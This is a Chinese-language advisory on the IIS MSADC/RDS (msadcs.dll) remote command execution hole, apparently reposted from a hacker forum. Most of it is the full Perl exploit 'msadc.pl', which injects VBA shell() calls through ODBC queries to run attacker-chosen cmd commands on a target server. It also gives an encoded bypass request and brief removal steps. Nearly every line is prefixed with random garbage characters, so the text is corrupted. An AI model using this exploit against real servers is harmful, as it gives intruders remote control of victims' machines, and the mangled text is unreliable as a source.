IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
X`i' U7%I ro|mW P0 涉及程序：
},58B Microsoft NT server
Zjis0a]v~k (:9yeP1 描述：
k(LZ,WSR 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
HJ#3wk "W E;!pK9wL| 详细：
$A~U A 如果你没有时间读详细内容的话，就删除:
<xM$^r) c:\Program Files\Common Files\System\Msadc\msadcs.dll
DfYOGs]@ 有关的安全问题就没有了。
3AR vSz@5 Gk_% WY* 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
,=sbK ?& pde,@0(Fa 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
\7b-w81M- 关于利用ODBC远程漏洞的描述，请参看:
DUH\/<^g ZK:dhwe r http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm W0e+yIaR g4b -~1[S 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
?LJ$:u http://www.microsoft.com/security/bulletins/MS99-025faq.asp fP3e{dVf cs[_TJo 这里不再论述。
1ocd$)B|} TdGda'C 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
>tF3|:\ S&/</% /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
3 #GZ6:rVJ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
aD)$aK 48% -lkol) oh*Hzb #将下面这段保存为txt文件，然后: "perl -x 文件名"
m$N` Xj wq yw#)S #!perl
4I7B
#{ #
\s_lB~"P!3 # MSADC/RDS 'usage' (aka exploit) script
rJLn=|uR #
F`!B!uY # by rain.forest.puppy
fP 1V1ao #
vTnrSNdSE # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
P dgn9 # beta test and find errors!
3a9%djGq ]vj.s/F ~ use Socket; use Getopt::Std;
758`lfz=_ getopts("e:vd:h:XR", \%args);
;]*V6!6RR wQ1_Q8 :Z print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
'Br:f _} s
P=$>@3 if (!defined $args{h} && !defined $args{R}) {
GMk\
l print qq~
Ah^0 FU%!g Usage: msadc.pl -h <host> { -d <delay> -X -v }
ed3d 6/%HR -h <host> = host you want to scan (ip or domain)
~ZrSoVP= -d <seconds> = delay between calls, default 1 second
LV4\zd6 -X = dump Index Server path table, if available
k+-IuO -v = verbose
mCM7FFl I -e = external dictionary file for step 5
b1+6I_u. H~Z$ pk% Or a -R will resume a command session
`
=ocr8c v[$-)vs*ag ~; exit;}
C]@v60I
:r4]8X- $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
3[q&%Z. if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
0cYd6u @ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
s*'L^>iZ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
~kD R9s7 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
'8%pEl^ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
+Dvdv<+ 2Y~UeJ_\Lq if (!defined $args{R}){ $ret = &has_msadc;
TtZ Zjeg+V die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
TcB ^Sctf -Iq
W@|N print "Please type the NT commandline you want to run (cmd /c assumed):\n"
mM`zA%= . "cmd /c ";
jM <=>P $in=<STDIN>; chomp $in;
/"~ D(bw0= $command="cmd /c " . $in ;
Ztz SG@f QuF76&)7 if (defined $args{R}) {&load; exit;}
Xk2M.:3 ` O $dcy! print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Mn)>G36( &try_btcustmr;
Oup5LH!sW p#14 print "\nStep 2: Trying to make our own DSN...";
8PN/*Sa &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
0P M F)';R "zN2+X"& print "\nStep 3: Trying known DSNs...";
:ik$@ 5wp &known_dsn;
Z)V m,ng 3o).8b_3g print "\nStep 4: Trying known .mdbs...";
V gh;w-a &known_mdb;
+jpaBr-O# $x5,Oe n if (defined $args{e}){
b*;zdGX.A9 print "\nStep 5: Trying dictionary of DSN names...";
N 3M:|D &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
N+)gYb6h ]YQ!i@Y print "Sorry Charley...maybe next time?\n";
f+ }Rj0A exit;
;HKb } kNbqwVP ##############################################################################
]m fI$p% )^Ha?;TS sub sendraw { # ripped and modded from whisker
iTX:*$~I sleep($delay); # it's a DoS on the server! At least on mine...
1\' ?. my ($pstr)=@_;
R1!F mZW8 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
C]X:@^Hy die("Socket problems\n");
"7w~0?} if(connect(S,pack "SnA4x8",2,80,$target)){
jw P}{mi* select(S); $|=1;
;q=0NtCS=4 print $pstr; my @in=<S>;
^[UWG^d select(STDOUT); close(S);
$q"/q*ys return @in;
B #[UR Z9S } else { die("Can't connect...\n"); }}
~ RdD6V |3Fo4K%+ ##############################################################################
Mz?xvP?z fG *1A\t] sub make_header { # make the HTTP request
P4\{be>e my $msadc=<<EOT
"PF czoRZ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
E?V PCx User-Agent: ACTIVEDATA
0r4,27w Host: $ip
&1=Je$, Content-Length: $clen
rL kU I G Connection: Keep-Alive
|igr3p5Fw PIZnzZ@Z; ADCClientVersion:01.06
"7]YvZYu0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
>DFpL$oP n;Nr[hI --!ADM!ROX!YOUR!WORLD!
*qX! Content-Type: application/x-varg
p"xti+2, Content-Length: $reqlen
Z.4 vKO[< :Dh\ EOT
j{U#g8 ; $msadc=~s/\n/\r\n/g;
LnwI 7uvq return $msadc;}
FW~{io]n Q140b;Z ##############################################################################
Sckt g p8 DH@]d0N sub make_req { # make the RDS request
O^Y}fo' my ($switch, $p1, $p2)=@_;
=up!lg^M my $req=""; my $t1, $t2, $query, $dsn;
\d"uR@$3mG T[ ~8u9/ if ($switch==1){ # this is the btcustmr.mdb query
A#b`{C~l $query="Select * from Customers where City=" . make_shell();
*b tLd7c% $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Q|gw\.]$&[ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
$uPM.mPFE g':/hlQ elsif ($switch==2){ # this is general make table query
(f-Mm0%[ $query="create table AZZ (B int, C varchar(10))";
`:aml+ $dsn="$p1";}
^R g=*L ^| b ]E elsif ($switch==3){ # this is general exploit table query
ZqDanDM $query="select * from AZZ where C=" . make_shell();
iXF iFsb $dsn="$p1";}
z:
;ZPSn TO,XN\{y elsif ($switch==4){ # attempt to hork file info from index server
o@6hlLr $query="select path from scope()";
N7wKaezE $dsn="Provider=MSIDXS;";}
dy }O6 Qb N7sg~~ elsif ($switch==5){ # bad query
0mb|JoE( $query="select";
tny^ sG/' $dsn="$p1";}
L+=pEk_ \! *3bR $t1= make_unicode($query);
n?UFF i+a $t2= make_unicode($dsn);
Gp l $req = "\x02\x00\x03\x00";
:
\{>+!`w $req.= "\x08\x00" . pack ("S1", length($t1));
=7 e|e6 $req.= "\x00\x00" . $t1 ;
4 !q4WQ ; $req.= "\x08\x00" . pack ("S1", length($t2));
?cZ#0U $req.= "\x00\x00" . $t2 ;
0P+B-K>n $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
l [,RA?i
{ return $req;}
` <?{%ja (TX\vI& ##############################################################################
u|.c?fW'3 EgYM][:UU sub make_shell { # this makes the shell() statement
M0B6v} ^H return "'|shell(\"$command\")|'";}
LH:M`\(DL1 tx+KxOt9Y ##############################################################################
A^%li^qz 2 cB){.E sub make_unicode { # quick little function to convert to unicode
<n+]\a97* my ($in)=@_; my $out;
x5X;^.1Fr for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
>qqI6@h]c return $out;}
V[Z^Z !vrdu OB ##############################################################################
03% `ouf 7 ] )cu>/ sub rdo_success { # checks for RDO return success (this is kludge)
J2KULXF my (@in) = @_; my $base=content_start(@in);
Lddk:u&J if($in[$base]=~/multipart\/mixed/){
- &7\do< return 1 if( $in[$base+10]=~/^\x09\x00/ );}
`U.VfQR: return 0;}
u%s@B1j y8HwyU> ##############################################################################
K3; lst>4 . `ND sub make_dsn { # this makes a DSN for us
QE#Ar8tU my @drives=("c","d","e","f");
G
$F3dx.I print "\nMaking DSN: ";
San=E@3}v! foreach $drive (@drives) {
sC<
B print "$drive: ";
}C'H@:/ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
nt5x[xa "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
m|CB') . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
u2FD@Xq? $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
0afDqv rC6 return 0 if $2 eq "404"; # not found/doesn't exist
@)IHd6 R if($2 eq "200") {
qH8d3?1XO foreach $line (@results) {
TwaK>t 96[ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
ZaZm$.s n } return 0;}
>l>;"R9 N =_"[ &^ ##############################################################################
f Yt
y7 D)_67w|u| sub verify_exists {
`\pv^#5HV9 my ($page)=@_;
9>OPaL n my @results=sendraw("GET $page HTTP/1.0\n\n");
W ZAkp|R return $results[0];}
'g@Yra&09 kp$w)%2JW ##############################################################################
(b*PDhl`+ ,$,c<M sub try_btcustmr {
KJs/4oR; my @drives=("c","d","e","f");
q!O B?03n my @dirs=("winnt","winnt35","winnt351","win","windows");
1Z$` }a K<g<xW* X foreach $dir (@dirs) {
y$Y*%D^w print "$dir -> "; # fun status so you can see progress
-".q=$f foreach $drive (@drives) {
|Y9m re.Y; print "$drive: "; # ditto
Qm >x ? $reqlen=length( make_req(1,$drive,$dir) ) - 28;
=.Hq]l6+ $reqlenlen=length( "$reqlen" );
Ld 9YbL: $clen= 206 + $reqlenlen + $reqlen;
$*k9e ^{S I\8F.J1_ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Jfe<$-$$7 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Ed>Dhy6\r else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Nr(t 5TP^ YWK|AT-4 ##############################################################################
`a + "[% ;/79tlwq sub odbc_error {
er%D`VHe my (@in)=@_; my $base;
)o;oOPT! my $base = content_start(@in);
`zw^ WbCO{ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Ocp`6Fj $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
o Z!1^o3V $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ElK7jWJ+ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~x #RI t return $in[$base+4].$in[$base+5].$in[$base+6];}
YTk "'q- print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
W[R^5{ k` print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
[d3i _^\ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
nl\l7/}6 je [1>\3W ##############################################################################
e*Gt%' 2K~<_. S sub verbose {
]}z a my ($in)=@_;
AY
B~{ return if !$verbose;
/E32^o|,> print STDOUT "\n$in\n";}
*%#Sa~iPo zF([{5r[!) ##############################################################################
o ]jPG ?r}'0 dW sub save {
YR? ujN my ($p1, $p2, $p3, $p4)=@_;
gAPD
y/wM open(OUT, ">rds.save") || print "Problem saving parameters...\n";
H[M(t^GM print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
n{1;BW#H close OUT;}
<8 ,,pOb qtI42u{ ##############################################################################
O Bm#E} 1OOMqFn} L sub load {
er44s^$ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
cOz/zD
f5 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
7+Z%#G~ T @p=<IN>; close(IN);
g)M"Cx. $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
hUo}n>Aa $target= inet_aton($ip) || die("inet_aton problems");
>69- [#P! print "Resuming to $ip ...";
6 *GR_sMm $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
/9 ^F_2'_ if($p[1]==1) {
}NgevsV>; $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
kHhxR;ymA7 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
{)5tov1 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
n]Z() "D if (rdo_success(@results)){print "Success!\n";}
!^FR a{b else { print "failed\n"; verbose(odbc_error(@results));}}
(=e JceE! elsif ($p[1]==3){
P
=jRof$ if(run_query("$p[3]")){
:5DL&,,Q3 print "Success!\n";} else { print "failed\n"; }}
|H%[tkW6c elsif ($p[1]==4){
\v]esIP5R' if(run_query($drvst . "$p[3]")){
}9FAM@x1K& print "Success!\n"; } else { print "failed\n"; }}
iS@+qWo1 exit;}
sPxDo?1 x- U{[ g"_+~ ##############################################################################
^OZ*L e E8LZ%
N# sub create_table {
6dlV:f_\y my ($in)=@_;
Gtm |aR{OS $reqlen=length( make_req(2,$in,"") ) - 28;
%={[ e`,
$reqlenlen=length( "$reqlen" );
{n'+P3\T: $clen= 206 + $reqlenlen + $reqlen;
z:p;Wm my @results=sendraw(make_header() . make_req(2,$in,""));
'lIj89h<E return 1 if rdo_success(@results);
U1 y8Y/ my $temp= odbc_error(@results); verbose($temp);
T4fVZd)x return 1 if $temp=~/Table 'AZZ' already exists/;
v\}s(X(J return 0;}
>oHgs Q?xCb ##############################################################################
q,% lG$0v 0Uf.a P sub known_dsn {
(/;<K $u*h # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
B(t`$mC my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
AC}[Q p! "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
N, SbJ Z "banner", "banners", "ads", "ADCDemo", "ADCTest");
M8y:FDX 7Z R0cJw; foreach $dSn (@dsns) {
P~^VLnw print ".";
Iss)7I next if (!is_access("DSN=$dSn"));
ON-zhT?v if(create_table("DSN=$dSn")){
41XS/# M$* print "$dSn successful\n";
&WV&_z if(run_query("DSN=$dSn")){
0 YA print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Po*G/RKu4W print "Something's borked. Use verbose next time\n";}}} print "\n";}
??
2x* l1 E-v#G~ ##############################################################################
AQU^7 O bZ-_Q sub is_access {
gCjW !t my ($in)=@_;
/<e<-C*d&< $reqlen=length( make_req(5,$in,"") ) - 28;
(Z |Nz *< $reqlenlen=length( "$reqlen" );
: pkOZ+t $clen= 206 + $reqlenlen + $reqlen;
z?M_Cz;:J my @results=sendraw(make_header() . make_req(5,$in,""));
}|9!|Q my $temp= odbc_error(@results);
?qJt 4Om verbose($temp); return 1 if ($temp=~/Microsoft Access/);
LLD#)Jl{? return 0;}
7) zF8V xN +Oca ##############################################################################
3 [r9v!l {"vTaY@ sub run_query {
Bbj%RF2, my ($in)=@_;
*m6h(8(7Z $reqlen=length( make_req(3,$in,"") ) - 28;
rUxjm\ $reqlenlen=length( "$reqlen" );
3k_bhK zI $clen= 206 + $reqlenlen + $reqlen;
s,|"s|P my @results=sendraw(make_header() . make_req(3,$in,""));
Tg yY 9 return 1 if rdo_success(@results);
KSgYf; my $temp= odbc_error(@results); verbose($temp);
(`)ZR %i return 0;}
S-2@:E vhE^jS<Tg ##############################################################################
M$$Lsb [ (CR]96n sub known_mdb {
kD\7wz,ui my @drives=("c","d","e","f","g");
yLgv<%8f my @dirs=("winnt","winnt35","winnt351","win","windows");
oU)Hco "_k my $dir, $drive, $mdb;
5i1E
5@~ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Hpj7EaMZ_ VBq|j"o0" # this is sparse, because I don't know of many
g 5@ P my @sysmdbs=( "\\catroot\\icatalog.mdb",
={G0p=~+,p "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
e$l*s/"0t "\\system32\\certmdb.mdb",
8$~^-_>n/ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
&G$K. q Wo2W/{ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
@aC9O 9|~ "\\cfusion\\cfapps\\forums\\forums_.mdb",
|E?,hTR e5 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
4r tNvf5` "\\cfusion\\cfapps\\security\\realm_.mdb",
z XZXp~7) "\\cfusion\\cfapps\\security\\data\\realm.mdb",
~kp,;!^vr "\\cfusion\\database\\cfexamples.mdb",
i38` 2 "\\cfusion\\database\\cfsnippets.mdb",
+[B@83 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
(,I 9| "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
T?k!%5,Kj "\\cfusion\\brighttiger\\database\\cleam.mdb",
W!o|0u!D "\\cfusion\\database\\smpolicy.mdb",
3k# h !Z "\\cfusion\\database\cypress.mdb",
SSn{,H8/j "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
=OamN7V= "\\website\\cgi-win\\dbsample.mdb",
|7)oX "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
;km ^ OO$ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
P<C=9@`! ); #these are just
1a79]-j foreach $drive (@drives) {
*&doI %q foreach $dir (@dirs){
e5$S2o~JF foreach $mdb (@sysmdbs) {
wO&+ Bb\= print ".";
F S!D if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
*n x$r[Mqj print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
aL^
58M y& if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
.r~M7 I print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
k@|Go )~ } else { print "Something's borked. Use verbose next time\n"; }}}}}
ngOGo = l}_6 _g>6 foreach $drive (@drives) {
ox NQNJ!X foreach $mdb (@mdbs) {
,lDOo+eE%: print ".";
=: *2t if(create_table($drv . $drive . $dir . $mdb)){
%V|n2/O
Y print "\n" . $drive . $dir . $mdb . " successful\n";
/2>.*H_2 if(run_query($drv . $drive . $dir . $mdb)){
b_ w(F_0 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
LhCwZ1 } else { print "Something's borked. Use verbose next time\n"; }}}}
o0 |T<_ }
T!X`"r I +!cibTQTT ##############################################################################
1b,MJ~g$ w&x$RP sub hork_idx {
p8(Z{TSv print "\nAttempting to dump Index Server tables...\n";
`5
Iaz print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
#pnB+h&tE $reqlen=length( make_req(4,"","") ) - 28;
KD`*[.tT $reqlenlen=length( "$reqlen" );
R q`j|tY $clen= 206 + $reqlenlen + $reqlen;
G]zyx"0Sqb my @results=sendraw2(make_header() . make_req(4,"",""));
!W/"Z!k if (rdo_success(@results)){
vLIaTr gz my $max=@results; my $c; my %d;
ZVz`g] for($c=19; $c<$max; $c++){
Eg(.L,dj $results[$c]=~s/\x00//g;
6PT"9vR`) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
I~ Q
G $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
<.=-9O6 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Zg$RiQ^-{J $d{"$1$2"}="";}
\p#_D|s/Ep foreach $c (keys %d){ print "$c\n"; }
)x3p7t)# } else {print "Index server doesn't seem to be installed.\n"; }}
Slv91c&md, c2wgJH !g ##############################################################################
`+!F#. j:7AVnt sub dsn_dict {
u;9a/RI open(IN, "<$args{e}") || die("Can't open external dictionary\n");
#z =$ *\u while(<IN>){
]cM,m2^2 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
r2m&z%N & next if (!is_access("DSN=$dSn"));
\k3EFSm if(create_table("DSN=$dSn")){
6z2%/P-' print "$dSn successful\n";
yJ W/y t.l if(run_query("DSN=$dSn")){
-5Oy k, print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Ff1!+P, print "Something's borked. Use verbose next time\n";}}}
mo"1|Q& print "\n"; close(IN);}
y\_k8RqE^ #ri;{d^6 ##############################################################################
m4?a'z" <>H^:iqn sub sendraw2 { # ripped and modded from whisker
U+,R P$r@ sleep($delay); # it's a DoS on the server! At least on mine...
,olP} my ($pstr)=@_;
yof8L WXx socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Nxr\Yey die("Socket problems\n");
=wlPm5 if(connect(S,pack "SnA4x8",2,80,$target)){
1D1qOg"LE print "Connected. Getting data";
fZb}- open(OUT,">raw.out"); my @in;
Gn^m 541 select(S); $|=1; print $pstr;
$"ACg!=M while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
;tC$O~X close(OUT); select(STDOUT); close(S); return @in;
9V|) 3GF } else { die("Can't connect...\n"); }}
JnLF61 EMzJyG t7 ##############################################################################
Muyi2F)j 7Q9| P?&:z sub content_start { # this will take in the server headers
}$b!/<7FD my (@in)=@_; my $c;
S0`u!l89( for ($c=1;$c<500;$c++) {
V Ig6' if($in[$c] =~/^\x0d\x0a/){
L *cP8v4 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
8^6 7,I-c else { return $c+1; }}}
L_q3m-x0h return -1;} # it should never get here actually
W3jwc{lj c7D{^$L9 v ##############################################################################
1#9PE(!2 S$
k=70H sub funky {
<m~{60{ my (@in)=@_; my $error=odbc_error(@in);
zKT4j1 h if($error=~/ADO could not find the specified provider/){
[qU`}S2 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Dt\rrN:v exit;}
0i>p1/kv if($error=~/A Handler is required/){
~ R eX$9 print "\nServer has custom handler filters (they most likely are patched)\n";
>[l2KD exit;}
1A[(R T] if($error=~/specified Handler has denied Access/){
f)mOeD*u| print "\nServer has custom handler filters (they most likely are patched)\n";
<H$!OPV exit;}}
L tUvFe W#2} E X ##############################################################################
/ ;+M z* U4qk<! sub has_msadc {
R_b4S%jhx my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
yMt:L )+ my $base=content_start(@results);
I&`aGnr^^ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
GT\ yjrCd return 0;}
ozKS << l,Fn_zO ########################
HPg%v | \/b[V3<" F"1tPWn 解决方案：
rBOH9L 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Z5
7.+z< 2、移除web 目录: /msadc
